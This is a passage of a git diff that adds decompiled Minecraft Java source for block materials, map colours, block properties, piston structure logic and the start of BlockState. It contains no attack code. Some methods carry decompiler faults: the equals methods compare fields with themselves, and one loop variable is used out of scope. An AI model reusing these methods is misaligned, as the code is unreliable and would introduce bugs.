+      return new ContainerWorkbench(playerInventory, world, position);
+    }
+    
+    public String getGuiID()
+    {
+      return "minecraft:crafting_table";
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockYellowFlower.java b/src/minecraft/net/minecraft/block/BlockYellowFlower.java
new file mode 100644
index 0000000..9123c73
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockYellowFlower.java
@@ -0,0 +1,11 @@
+package net.minecraft.block;
+
+public class BlockYellowFlower extends BlockFlower {
+  private static final String __OBFID = "CL_00002045";
+  
+  public BlockYellowFlower() {}
+  
+  public BlockFlower.EnumFlowerColor func_176495_j() {
+    return BlockFlower.EnumFlowerColor.YELLOW;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/IGrowable.java b/src/minecraft/net/minecraft/block/IGrowable.java
new file mode 100644
index 0000000..248f5fc
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/IGrowable.java
@@ -0,0 +1,15 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public abstract interface IGrowable
+{
+  public abstract boolean isStillGrowing(World paramWorld, BlockPos paramBlockPos, IBlockState paramIBlockState, boolean paramBoolean);
+  
+  public abstract boolean canUseBonemeal(World paramWorld, Random paramRandom, BlockPos paramBlockPos, IBlockState paramIBlockState);
+  
+  public abstract void grow(World paramWorld, Random paramRandom, BlockPos paramBlockPos, IBlockState paramIBlockState);
+}
diff --git a/src/minecraft/net/minecraft/block/ITileEntityProvider.java b/src/minecraft/net/minecraft/block/ITileEntityProvider.java
new file mode 100644
index 0000000..417295f
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/ITileEntityProvider.java
@@ -0,0 +1,9 @@
+package net.minecraft.block;
+
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.world.World;
+
+public abstract interface ITileEntityProvider
+{
+  public abstract TileEntity createNewTileEntity(World paramWorld, int paramInt);
+}
diff --git a/src/minecraft/net/minecraft/block/material/MapColor.java b/src/minecraft/net/minecraft/block/material/MapColor.java
new file mode 100644
index 0000000..b1f7668
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/material/MapColor.java
@@ -0,0 +1,96 @@
+package net.minecraft.block.material;
+
+
+
+
+public class MapColor
+{
+  public static final MapColor[] mapColorArray = new MapColor[64];
+  public static final MapColor airColor = new MapColor(0, 0);
+  public static final MapColor grassColor = new MapColor(1, 8368696);
+  public static final MapColor sandColor = new MapColor(2, 16247203);
+  public static final MapColor clothColor = new MapColor(3, 10987431);
+  public static final MapColor tntColor = new MapColor(4, 16711680);
+  public static final MapColor iceColor = new MapColor(5, 10526975);
+  public static final MapColor ironColor = new MapColor(6, 10987431);
+  public static final MapColor foliageColor = new MapColor(7, 31744);
+  public static final MapColor snowColor = new MapColor(8, 16777215);
+  public static final MapColor clayColor = new MapColor(9, 10791096);
+  public static final MapColor dirtColor = new MapColor(10, 12020271);
+  public static final MapColor stoneColor = new MapColor(11, 7368816);
+  public static final MapColor waterColor = new MapColor(12, 4210943);
+  public static final MapColor woodColor = new MapColor(13, 6837042);
+  public static final MapColor quartzColor = new MapColor(14, 16776437);
+  public static final MapColor adobeColor = new MapColor(15, 14188339);
+  public static final MapColor magentaColor = new MapColor(16, 11685080);
+  public static final MapColor lightBlueColor = new MapColor(17, 6724056);
+  public static final MapColor yellowColor = new MapColor(18, 15066419);
+  public static final MapColor limeColor = new MapColor(19, 8375321);
+  public static final MapColor pinkColor = new MapColor(20, 15892389);
+  public static final MapColor grayColor = new MapColor(21, 5000268);
+  public static final MapColor silverColor = new MapColor(22, 10066329);
+  public static final MapColor cyanColor = new MapColor(23, 5013401);
+  public static final MapColor purpleColor = new MapColor(24, 8339378);
+  public static final MapColor blueColor = new MapColor(25, 3361970);
+  public static final MapColor brownColor = new MapColor(26, 6704179);
+  public static final MapColor greenColor = new MapColor(27, 6717235);
+  public static final MapColor redColor = new MapColor(28, 10040115);
+  public static final MapColor blackColor = new MapColor(29, 1644825);
+  public static final MapColor goldColor = new MapColor(30, 16445005);
+  public static final MapColor diamondColor = new MapColor(31, 6085589);
+  public static final MapColor lapisColor = new MapColor(32, 4882687);
+  public static final MapColor emeraldColor = new MapColor(33, 55610);
+  public static final MapColor obsidianColor = new MapColor(34, 1381407);
+  public static final MapColor netherrackColor = new MapColor(35, 7340544);
+  
+  public int colorValue;
+  
+  public final int colorIndex;
+  
+  private static final String __OBFID = "CL_00000544";
+  
+
+  private MapColor(int index, int color)
+  {
+    if ((index >= 0) && (index <= 63))
+    {
+      colorIndex = index;
+      colorValue = color;
+      mapColorArray[index] = this;
+    }
+    else
+    {
+      throw new IndexOutOfBoundsException("Map colour ID must be between 0 and 63 (inclusive)");
+    }
+  }
+  
+  public int func_151643_b(int p_151643_1_)
+  {
+    short var2 = 220;
+    
+    if (p_151643_1_ == 3)
+    {
+      var2 = 135;
+    }
+    
+    if (p_151643_1_ == 2)
+    {
+      var2 = 255;
+    }
+    
+    if (p_151643_1_ == 1)
+    {
+      var2 = 220;
+    }
+    
+    if (p_151643_1_ == 0)
+    {
+      var2 = 180;
+    }
+    
+    int var3 = (colorValue >> 16 & 0xFF) * var2 / 255;
+    int var4 = (colorValue >> 8 & 0xFF) * var2 / 255;
+    int var5 = (colorValue & 0xFF) * var2 / 255;
+    return 0xFF000000 | var3 << 16 | var4 << 8 | var5;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/material/Material.java b/src/minecraft/net/minecraft/block/material/Material.java
new file mode 100644
index 0000000..6480599
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/material/Material.java
@@ -0,0 +1,222 @@
+package net.minecraft.block.material;
+
+public class Material
+{
+  public static final Material air = new MaterialTransparent(MapColor.airColor);
+  public static final Material grass = new Material(MapColor.grassColor);
+  public static final Material ground = new Material(MapColor.dirtColor);
+  public static final Material wood = new Material(MapColor.woodColor).setBurning();
+  public static final Material rock = new Material(MapColor.stoneColor).setRequiresTool();
+  public static final Material iron = new Material(MapColor.ironColor).setRequiresTool();
+  public static final Material anvil = new Material(MapColor.ironColor).setRequiresTool().setImmovableMobility();
+  public static final Material water = new MaterialLiquid(MapColor.waterColor).setNoPushMobility();
+  public static final Material lava = new MaterialLiquid(MapColor.tntColor).setNoPushMobility();
+  public static final Material leaves = new Material(MapColor.foliageColor).setBurning().setTranslucent().setNoPushMobility();
+  public static final Material plants = new MaterialLogic(MapColor.foliageColor).setNoPushMobility();
+  public static final Material vine = new MaterialLogic(MapColor.foliageColor).setBurning().setNoPushMobility().setReplaceable();
+  public static final Material sponge = new Material(MapColor.clothColor);
+  public static final Material cloth = new Material(MapColor.clothColor).setBurning();
+  public static final Material fire = new MaterialTransparent(MapColor.airColor).setNoPushMobility();
+  public static final Material sand = new Material(MapColor.sandColor);
+  public static final Material circuits = new MaterialLogic(MapColor.airColor).setNoPushMobility();
+  public static final Material carpet = new MaterialLogic(MapColor.clothColor).setBurning();
+  public static final Material glass = new Material(MapColor.airColor).setTranslucent().setAdventureModeExempt();
+  public static final Material redstoneLight = new Material(MapColor.airColor).setAdventureModeExempt();
+  public static final Material tnt = new Material(MapColor.tntColor).setBurning().setTranslucent();
+  public static final Material coral = new Material(MapColor.foliageColor).setNoPushMobility();
+  public static final Material ice = new Material(MapColor.iceColor).setTranslucent().setAdventureModeExempt();
+  public static final Material packedIce = new Material(MapColor.iceColor).setAdventureModeExempt();
+  public static final Material snow = new MaterialLogic(MapColor.snowColor).setReplaceable().setTranslucent().setRequiresTool().setNoPushMobility();
+  
+
+  public static final Material craftedSnow = new Material(MapColor.snowColor).setRequiresTool();
+  public static final Material cactus = new Material(MapColor.foliageColor).setTranslucent().setNoPushMobility();
+  public static final Material clay = new Material(MapColor.clayColor);
+  public static final Material gourd = new Material(MapColor.foliageColor).setNoPushMobility();
+  public static final Material dragonEgg = new Material(MapColor.foliageColor).setNoPushMobility();
+  public static final Material portal = new MaterialPortal(MapColor.airColor).setImmovableMobility();
+  public static final Material cake = new Material(MapColor.airColor).setNoPushMobility();
+  public static final Material web = new Material(MapColor.clothColor)
+  {
+    private static final String __OBFID = "CL_00000543";
+    
+    public boolean blocksMovement() {
+      return false;
+    }
+  }.setRequiresTool().setNoPushMobility();
+  
+
+  public static final Material piston = new Material(MapColor.stoneColor).setImmovableMobility();
+  public static final Material barrier = new Material(MapColor.airColor).setRequiresTool().setImmovableMobility();
+  
+
+
+  private boolean canBurn;
+  
+
+
+  private boolean replaceable;
+  
+
+
+  private boolean isTranslucent;
+  
+
+
+  private final MapColor materialMapColor;
+  
+
+
+  private boolean requiresNoTool = true;
+  
+
+  private int mobilityFlag;
+  
+  private boolean isAdventureModeExempt;
+  
+  private static final String __OBFID = "CL_00000542";
+  
+
+  public Material(MapColor p_i2116_1_)
+  {
+    materialMapColor = p_i2116_1_;
+  }
+  
+
+
+
+  public boolean isLiquid()
+  {
+    return false;
+  }
+  
+  public boolean isSolid()
+  {
+    return true;
+  }
+  
+
+
+
+  public boolean blocksLight()
+  {
+    return true;
+  }
+  
+
+
+
+  public boolean blocksMovement()
+  {
+    return true;
+  }
+  
+
+
+
+  private Material setTranslucent()
+  {
+    isTranslucent = true;
+    return this;
+  }
+  
+
+
+
+  protected Material setRequiresTool()
+  {
+    requiresNoTool = false;
+    return this;
+  }
+  
+
+
+
+  protected Material setBurning()
+  {
+    canBurn = true;
+    return this;
+  }
+  
+
+
+
+  public boolean getCanBurn()
+  {
+    return canBurn;
+  }
+  
+
+
+
+  public Material setReplaceable()
+  {
+    replaceable = true;
+    return this;
+  }
+  
+
+
+
+  public boolean isReplaceable()
+  {
+    return replaceable;
+  }
+  
+
+
+
+  public boolean isOpaque()
+  {
+    return isTranslucent ? false : blocksMovement();
+  }
+  
+
+
+
+  public boolean isToolNotRequired()
+  {
+    return requiresNoTool;
+  }
+  
+
+
+
+
+  public int getMaterialMobility()
+  {
+    return mobilityFlag;
+  }
+  
+
+
+
+  protected Material setNoPushMobility()
+  {
+    mobilityFlag = 1;
+    return this;
+  }
+  
+
+
+
+  protected Material setImmovableMobility()
+  {
+    mobilityFlag = 2;
+    return this;
+  }
+  
+
+
+
+  protected Material setAdventureModeExempt()
+  {
+    isAdventureModeExempt = true;
+    return this;
+  }
+  
+  public MapColor getMaterialMapColor()
+  {
+    return materialMapColor;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/material/MaterialLiquid.java b/src/minecraft/net/minecraft/block/material/MaterialLiquid.java
new file mode 100644
index 0000000..03897f0
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/material/MaterialLiquid.java
@@ -0,0 +1,34 @@
+package net.minecraft.block.material;
+
+public class MaterialLiquid extends Material
+{
+  private static final String __OBFID = "CL_00000541";
+  
+  public MaterialLiquid(MapColor p_i2114_1_)
+  {
+    super(p_i2114_1_);
+    setReplaceable();
+    setNoPushMobility();
+  }
+  
+
+
+
+  public boolean isLiquid()
+  {
+    return true;
+  }
+  
+
+
+
+  public boolean blocksMovement()
+  {
+    return false;
+  }
+  
+  public boolean isSolid()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/material/MaterialLogic.java b/src/minecraft/net/minecraft/block/material/MaterialLogic.java
new file mode 100644
index 0000000..ff3daec
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/material/MaterialLogic.java
@@ -0,0 +1,33 @@
+package net.minecraft.block.material;
+
+public class MaterialLogic extends Material
+{
+  private static final String __OBFID = "CL_00000539";
+  
+  public MaterialLogic(MapColor p_i2112_1_)
+  {
+    super(p_i2112_1_);
+    setAdventureModeExempt();
+  }
+  
+  public boolean isSolid()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean blocksLight()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean blocksMovement()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/material/MaterialPortal.java b/src/minecraft/net/minecraft/block/material/MaterialPortal.java
new file mode 100644
index 0000000..1ebcef3
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/material/MaterialPortal.java
@@ -0,0 +1,32 @@
+package net.minecraft.block.material;
+
+public class MaterialPortal extends Material
+{
+  private static final String __OBFID = "CL_00000545";
+  
+  public MaterialPortal(MapColor p_i2118_1_)
+  {
+    super(p_i2118_1_);
+  }
+  
+  public boolean isSolid()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean blocksLight()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean blocksMovement()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/material/MaterialTransparent.java b/src/minecraft/net/minecraft/block/material/MaterialTransparent.java
new file mode 100644
index 0000000..0df716f
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/material/MaterialTransparent.java
@@ -0,0 +1,33 @@
+package net.minecraft.block.material;
+
+public class MaterialTransparent extends Material
+{
+  private static final String __OBFID = "CL_00000540";
+  
+  public MaterialTransparent(MapColor p_i2113_1_)
+  {
+    super(p_i2113_1_);
+    setReplaceable();
+  }
+  
+  public boolean isSolid()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean blocksLight()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean blocksMovement()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/properties/IProperty.java b/src/minecraft/net/minecraft/block/properties/IProperty.java
new file mode 100644
index 0000000..202ee3d
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/properties/IProperty.java
@@ -0,0 +1,14 @@
+package net.minecraft.block.properties;
+
+import java.util.Collection;
+
+public abstract interface IProperty
+{
+  public abstract String getName();
+  
+  public abstract Collection getAllowedValues();
+  
+  public abstract Class getValueClass();
+  
+  public abstract String getName(Comparable paramComparable);
+}
diff --git a/src/minecraft/net/minecraft/block/properties/PropertyBool.java b/src/minecraft/net/minecraft/block/properties/PropertyBool.java
new file mode 100644
index 0000000..e572378
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/properties/PropertyBool.java
@@ -0,0 +1,41 @@
+package net.minecraft.block.properties;
+
+import com.google.common.collect.ImmutableSet;
+import java.util.Collection;
+
+public class PropertyBool extends PropertyHelper
+{
+  private final ImmutableSet allowedValues = ImmutableSet.of(Boolean.valueOf(true), Boolean.valueOf(false));
+  private static final String __OBFID = "CL_00002017";
+  
+  protected PropertyBool(String name)
+  {
+    super(name, Boolean.class);
+  }
+  
+  public Collection getAllowedValues()
+  {
+    return allowedValues;
+  }
+  
+  public static PropertyBool create(String name)
+  {
+    return new PropertyBool(name);
+  }
+  
+
+
+
+  public String getName0(Boolean value)
+  {
+    return value.toString();
+  }
+  
+
+
+
+  public String getName(Comparable value)
+  {
+    return getName0((Boolean)value);
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/properties/PropertyDirection.java b/src/minecraft/net/minecraft/block/properties/PropertyDirection.java
new file mode 100644
index 0000000..e61c6f3
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/properties/PropertyDirection.java
@@ -0,0 +1,42 @@
+package net.minecraft.block.properties;
+
+import com.google.common.base.Predicate;
+import com.google.common.base.Predicates;
+import com.google.common.collect.Collections2;
+import com.google.common.collect.Lists;
+import java.util.Collection;
+import net.minecraft.util.EnumFacing;
+
+public class PropertyDirection extends PropertyEnum
+{
+  private static final String __OBFID = "CL_00002016";
+  
+  protected PropertyDirection(String name, Collection values)
+  {
+    super(name, EnumFacing.class, values);
+  }
+  
+
+
+
+  public static PropertyDirection create(String name)
+  {
+    return create(name, Predicates.alwaysTrue());
+  }
+  
+
+
+
+  public static PropertyDirection create(String name, Predicate filter)
+  {
+    return create(name, Collections2.filter(Lists.newArrayList(EnumFacing.values()), filter));
+  }
+  
+
+
+
+  public static PropertyDirection create(String name, Collection values)
+  {
+    return new PropertyDirection(name, values);
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/properties/PropertyEnum.java b/src/minecraft/net/minecraft/block/properties/PropertyEnum.java
new file mode 100644
index 0000000..6ebdbde
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/properties/PropertyEnum.java
@@ -0,0 +1,91 @@
+package net.minecraft.block.properties;
+
+import com.google.common.base.Predicate;
+import com.google.common.base.Predicates;
+import com.google.common.collect.Collections2;
+import com.google.common.collect.ImmutableSet;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import net.minecraft.util.IStringSerializable;
+
+
+public class PropertyEnum
+  extends PropertyHelper
+{
+  private final ImmutableSet allowedValues;
+  private final Map nameToValue = Maps.newHashMap();
+  private static final String __OBFID = "CL_00002015";
+  
+  protected PropertyEnum(String name, Class valueClass, Collection allowedValues)
+  {
+    super(name, valueClass);
+    this.allowedValues = ImmutableSet.copyOf(allowedValues);
+    Iterator var4 = allowedValues.iterator();
+    
+    while (var4.hasNext())
+    {
+      Enum var5 = (Enum)var4.next();
+      String var6 = ((IStringSerializable)var5).getName();
+      
+      if (nameToValue.containsKey(var6))
+      {
+        throw new IllegalArgumentException("Multiple values have the same name '" + var6 + "'");
+      }
+      
+      nameToValue.put(var6, var5);
+    }
+  }
+  
+  public Collection getAllowedValues()
+  {
+    return allowedValues;
+  }
+  
+  public String getName(Enum value)
+  {
+    return ((IStringSerializable)value).getName();
+  }
+  
+
+
+
+  public static PropertyEnum create(String name, Class clazz)
+  {
+    return create(name, clazz, Predicates.alwaysTrue());
+  }
+  
+
+
+
+  public static PropertyEnum create(String name, Class clazz, Predicate filter)
+  {
+    return create(name, clazz, Collections2.filter(Lists.newArrayList(clazz.getEnumConstants()), filter));
+  }
+  
+
+
+
+  public static PropertyEnum create(String name, Class clazz, Enum... values)
+  {
+    return create(name, clazz, Lists.newArrayList(values));
+  }
+  
+
+
+
+  public static PropertyEnum create(String name, Class clazz, Collection values)
+  {
+    return new PropertyEnum(name, clazz, values);
+  }
+  
+
+
+
+  public String getName(Comparable value)
+  {
+    return getName((Enum)value);
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/properties/PropertyHelper.java b/src/minecraft/net/minecraft/block/properties/PropertyHelper.java
new file mode 100644
index 0000000..b9b9f1a
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/properties/PropertyHelper.java
@@ -0,0 +1,56 @@
+package net.minecraft.block.properties;
+
+import com.google.common.base.Objects.ToStringHelper;
+
+public abstract class PropertyHelper implements IProperty
+{
+  private final Class valueClass;
+  private final String name;
+  private static final String __OBFID = "CL_00002018";
+  
+  protected PropertyHelper(String name, Class valueClass)
+  {
+    this.valueClass = valueClass;
+    this.name = name;
+  }
+  
+  public String getName()
+  {
+    return name;
+  }
+  
+
+
+
+  public Class getValueClass()
+  {
+    return valueClass;
+  }
+  
+  public String toString()
+  {
+    return com.google.common.base.Objects.toStringHelper(this).add("name", name).add("clazz", valueClass).add("values", getAllowedValues()).toString();
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if ((p_equals_1_ != null) && (getClass() == p_equals_1_.getClass()))
+    {
+      PropertyHelper var2 = (PropertyHelper)p_equals_1_;
+      return (valueClass.equals(valueClass)) && (name.equals(name));
+    }
+    
+
+    return false;
+  }
+  
+
+  public int hashCode()
+  {
+    return 31 * valueClass.hashCode() + name.hashCode();
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/properties/PropertyInteger.java b/src/minecraft/net/minecraft/block/properties/PropertyInteger.java
new file mode 100644
index 0000000..c5a0bd1
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/properties/PropertyInteger.java
@@ -0,0 +1,91 @@
+package net.minecraft.block.properties;
+
+import com.google.common.collect.ImmutableSet;
+import com.google.common.collect.Sets;
+import java.util.Collection;
+import java.util.HashSet;
+
+public class PropertyInteger extends PropertyHelper
+{
+  private final ImmutableSet allowedValues;
+  private static final String __OBFID = "CL_00002014";
+  
+  protected PropertyInteger(String name, int min, int max)
+  {
+    super(name, Integer.class);
+    
+    if (min < 0)
+    {
+      throw new IllegalArgumentException("Min value of " + name + " must be 0 or greater");
+    }
+    if (max <= min)
+    {
+      throw new IllegalArgumentException("Max value of " + name + " must be greater than min (" + min + ")");
+    }
+    
+
+    HashSet var4 = Sets.newHashSet();
+    
+    for (int var5 = min; var5 <= max; var5++)
+    {
+      var4.add(Integer.valueOf(var5));
+    }
+    
+    allowedValues = ImmutableSet.copyOf(var4);
+  }
+  
+
+  public Collection getAllowedValues()
+  {
+    return allowedValues;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if ((p_equals_1_ != null) && (getClass() == p_equals_1_.getClass()))
+    {
+      if (!super.equals(p_equals_1_))
+      {
+        return false;
+      }
+      
+
+      PropertyInteger var2 = (PropertyInteger)p_equals_1_;
+      return allowedValues.equals(allowedValues);
+    }
+    
+
+
+    return false;
+  }
+  
+
+  public int hashCode()
+  {
+    int var1 = super.hashCode();
+    var1 = 31 * var1 + allowedValues.hashCode();
+    return var1;
+  }
+  
+  public static PropertyInteger create(String name, int min, int max)
+  {
+    return new PropertyInteger(name, min, max);
+  }
+  
+  public String getName0(Integer value)
+  {
+    return value.toString();
+  }
+  
+
+
+
+  public String getName(Comparable value)
+  {
+    return getName0((Integer)value);
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/state/BlockPistonStructureHelper.java b/src/minecraft/net/minecraft/block/state/BlockPistonStructureHelper.java
new file mode 100644
index 0000000..7f5897a
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/state/BlockPistonStructureHelper.java
@@ -0,0 +1,232 @@
+package net.minecraft.block.state;
+
+import com.google.common.collect.Lists;
+import java.util.ArrayList;
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockPistonBase;
+import net.minecraft.block.material.Material;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class BlockPistonStructureHelper
+{
+  private final World field_177261_a;
+  private final BlockPos field_177259_b;
+  private final BlockPos field_177260_c;
+  private final EnumFacing field_177257_d;
+  private final List field_177258_e = Lists.newArrayList();
+  private final List field_177256_f = Lists.newArrayList();
+  private static final String __OBFID = "CL_00002033";
+  
+  public BlockPistonStructureHelper(World worldIn, BlockPos p_i45664_2_, EnumFacing p_i45664_3_, boolean p_i45664_4_)
+  {
+    field_177261_a = worldIn;
+    field_177259_b = p_i45664_2_;
+    
+    if (p_i45664_4_)
+    {
+      field_177257_d = p_i45664_3_;
+      field_177260_c = p_i45664_2_.offset(p_i45664_3_);
+    }
+    else
+    {
+      field_177257_d = p_i45664_3_.getOpposite();
+      field_177260_c = p_i45664_2_.offset(p_i45664_3_, 2);
+    }
+  }
+  
+  public boolean func_177253_a()
+  {
+    field_177258_e.clear();
+    field_177256_f.clear();
+    Block var1 = field_177261_a.getBlockState(field_177260_c).getBlock();
+    
+    if (!BlockPistonBase.func_180696_a(var1, field_177261_a, field_177260_c, field_177257_d, false))
+    {
+      if (var1.getMobilityFlag() != 1)
+      {
+        return false;
+      }
+      
+
+      field_177256_f.add(field_177260_c);
+      return true;
+    }
+    
+    if (!func_177251_a(field_177260_c))
+    {
+      return false;
+    }
+    
+
+    for (int var2 = 0; var2 < field_177258_e.size(); var2++)
+    {
+      BlockPos var3 = (BlockPos)field_177258_e.get(var2);
+      
+      if ((field_177261_a.getBlockState(var3).getBlock() == Blocks.slime_block) && (!func_177250_b(var3)))
+      {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  private boolean func_177251_a(BlockPos p_177251_1_)
+  {
+    Block var2 = field_177261_a.getBlockState(p_177251_1_).getBlock();
+    
+    if (var2.getMaterial() == Material.air)
+    {
+      return true;
+    }
+    if (!BlockPistonBase.func_180696_a(var2, field_177261_a, p_177251_1_, field_177257_d, false))
+    {
+      return true;
+    }
+    if (p_177251_1_.equals(field_177259_b))
+    {
+      return true;
+    }
+    if (field_177258_e.contains(p_177251_1_))
+    {
+      return true;
+    }
+    
+
+    int var3 = 1;
+    
+    if (var3 + field_177258_e.size() > 12)
+    {
+      return false;
+    }
+    
+
+    while (var2 == Blocks.slime_block)
+    {
+      BlockPos var4 = p_177251_1_.offset(field_177257_d.getOpposite(), var3);
+      var2 = field_177261_a.getBlockState(var4).getBlock();
+      
+      if ((var2.getMaterial() == Material.air) || (!BlockPistonBase.func_180696_a(var2, field_177261_a, var4, field_177257_d, false)) || (var4.equals(field_177259_b))) {
+        break;
+      }
+      
+
+      var3++;
+      
+      if (var3 + field_177258_e.size() > 12)
+      {
+        return false;
+      }
+    }
+    
+    int var10 = 0;
+    
+
+    for (int var5 = var3 - 1; var5 >= 0; var5--)
+    {
+      field_177258_e.add(p_177251_1_.offset(field_177257_d.getOpposite(), var5));
+      var10++;
+    }
+    
+    var5 = 1;
+    
+    for (;;)
+    {
+      BlockPos var6 = p_177251_1_.offset(field_177257_d, var5);
+      int var7 = field_177258_e.indexOf(var6);
+      
+      if (var7 > -1)
+      {
+        func_177255_a(var10, var7);
+        
+        for (int var8 = 0; var8 <= var7 + var10; var8++)
+        {
+          BlockPos var9 = (BlockPos)field_177258_e.get(var8);
+          
+          if ((field_177261_a.getBlockState(var9).getBlock() == Blocks.slime_block) && (!func_177250_b(var9)))
+          {
+            return false;
+          }
+        }
+        
+        return true;
+      }
+      
+      var2 = field_177261_a.getBlockState(var6).getBlock();
+      
+      if (var2.getMaterial() == Material.air)
+      {
+        return true;
+      }
+      
+      if ((!BlockPistonBase.func_180696_a(var2, field_177261_a, var6, field_177257_d, true)) || (var6.equals(field_177259_b)))
+      {
+        return false;
+      }
+      
+      if (var2.getMobilityFlag() == 1)
+      {
+        field_177256_f.add(var6);
+        return true;
+      }
+      
+      if (field_177258_e.size() >= 12)
+      {
+        return false;
+      }
+      
+      field_177258_e.add(var6);
+      var10++;
+      var5++;
+    }
+  }
+  
+
+
+  private void func_177255_a(int p_177255_1_, int p_177255_2_)
+  {
+    ArrayList var3 = Lists.newArrayList();
+    ArrayList var4 = Lists.newArrayList();
+    ArrayList var5 = Lists.newArrayList();
+    var3.addAll(field_177258_e.subList(0, p_177255_2_));
+    var4.addAll(field_177258_e.subList(field_177258_e.size() - p_177255_1_, field_177258_e.size()));
+    var5.addAll(field_177258_e.subList(p_177255_2_, field_177258_e.size() - p_177255_1_));
+    field_177258_e.clear();
+    field_177258_e.addAll(var3);
+    field_177258_e.addAll(var4);
+    field_177258_e.addAll(var5);
+  }
+  
+  private boolean func_177250_b(BlockPos p_177250_1_)
+  {
+    EnumFacing[] var2 = EnumFacing.values();
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      EnumFacing var5 = var2[var4];
+      
+      if ((var5.getAxis() != field_177257_d.getAxis()) && (!func_177251_a(p_177250_1_.offset(var5))))
+      {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+  public List func_177254_c()
+  {
+    return field_177258_e;
+  }
+  
+  public List func_177252_d()
+  {
+    return field_177256_f;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/state/BlockState.java b/src/minecraft/net/minecraft/block/state/BlockState.java
new file mode 100644
index 0000000..96c76d1
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/state/BlockState.java
@@ -0,0 +1,242 @@
+package net.minecraft.block.state;
+
+import com.google.common.base.Function;
+import com.google.common.base.Joiner;
+import com.google.common.base.Objects.ToStringHelper;
+import com.google.common.collect.HashBasedTable;
+import com.google.common.collect.ImmutableList;
+import com.google.common.collect.ImmutableMap;
+import com.google.common.collect.ImmutableSet;
+import com.google.common.collect.ImmutableTable;
+import com.google.common.collect.Iterables;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+import net.minecraft.block.Block;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.util.MapPopulator;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+
+public class BlockState
+{
+  private static final Joiner COMMA_JOINER = Joiner.on(", ");
+  
+
+  private static final Function GET_NAME_FUNC = new Function()
+  {
+    private static final String __OBFID = "CL_00002029";
+    
+    public String apply(IProperty property) {
+      return property == null ? "<NULL>" : property.getName();
+    }
+    
+    public Object apply(Object p_apply_1_) {
+      return apply((IProperty)p_apply_1_);
+    }
+  };
+  private final Block block;
+  private final ImmutableList properties;
+  private final ImmutableList validStates;
+  private static final String __OBFID = "CL_00002030";
+  
+  public BlockState(Block blockIn, IProperty... properties)
+  {
+    block = blockIn;
+    Arrays.sort(properties, new Comparator()
+    {
+      private static final String __OBFID = "CL_00002028";
+      
+      public int compare(IProperty left, IProperty right) {
+        return left.getName().compareTo(right.getName());
+      }
+      
+      public int compare(Object p_compare_1_, Object p_compare_2_) {
+        return compare((IProperty)p_compare_1_, (IProperty)p_compare_2_);
+      }
+    });
+    this.properties = ImmutableList.copyOf(properties);
+    LinkedHashMap var3 = Maps.newLinkedHashMap();
+    ArrayList var4 = Lists.newArrayList();
+    Iterable var5 = net.minecraft.util.Cartesian.cartesianProduct(getAllowedValues());
+    Iterator var6 = var5.iterator();
+    
+    while (var6.hasNext())
+    {
+      List var7 = (List)var6.next();
+      Map var8 = MapPopulator.createMap(this.properties, var7);
+      StateImplemenation var9 = new StateImplemenation(blockIn, ImmutableMap.copyOf(var8), null);
+      var3.put(var8, var9);
+      var4.add(var9);
+    }
+    
+    var6 = var4.iterator();
+    
+    while (var6.hasNext())
+    {
+      StateImplemenation var10 = (StateImplemenation)var6.next();
